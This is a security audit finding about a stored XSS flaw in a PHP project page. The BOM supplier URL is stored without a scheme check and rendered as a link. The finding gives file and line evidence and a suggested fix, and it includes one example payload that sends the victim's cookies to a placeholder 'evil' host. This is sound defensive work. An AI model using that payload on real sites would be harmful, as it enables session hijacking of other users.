Area: Engagement (audit p9) · Surface: POST /projects/{slug}/bom/add → rendered on GET /projects/{slug}?tab=bom · Dimension: security · Severity: minor
A project owner can store a `javascript:` (or `data:`) URL in a BOM item's supplier URL; when another user views the project's BOM tab and clicks the 'Link', script executes in their session (OWASP A03: Injection / Stored XSS). Severity is minor because it requires a victim click and modern browsers block top-level javascript: navigation from many link contexts, but the inconsistency with addLink() (which validates) makes this a clear gap.
Evidence
ProjectController::addBomItem() stores the field with zero scheme validation: platform/src/Controllers/ProjectController.php:494 `'supplier_url' => trim($_POST['supplier_url'] ?? '') ?: null,`. It is later rendered into an href: templates/projects/show.php:284 `<a href="<?= $e($item['supplier_url']) ?>" target="_blank" rel="noopener" class="link">Link</a>`. $e() (htmlspecialchars) prevents attribute breakout but does NOT strip the `javascript:` scheme, so a stored value of `javascript:fetch('//evil/'+document.cookie)` renders as a clickable script URL. Contrast with project external links, which ARE validated: ProjectController::addLink() lines 1186-1191 reject any scheme outside http/https/mailto via UrlValidator::hasAllowedScheme(); the BOM path skips that check entirely.
Suggested fix. Apply the same validation addLink() uses before storing supplier_url: reject if `!filter_var($url, FILTER_VALIDATE_URL) || !\App\Services\UrlValidator::hasAllowedScheme($url, ['http','https'])` (or null it out). Optionally also defensively validate the scheme at render time in projects/show.php.
Filed by the automated tenant-app audit and adversarially evidence-verified. Status: verified. Open — not yet actioned.
Patrick Bass
@mobieus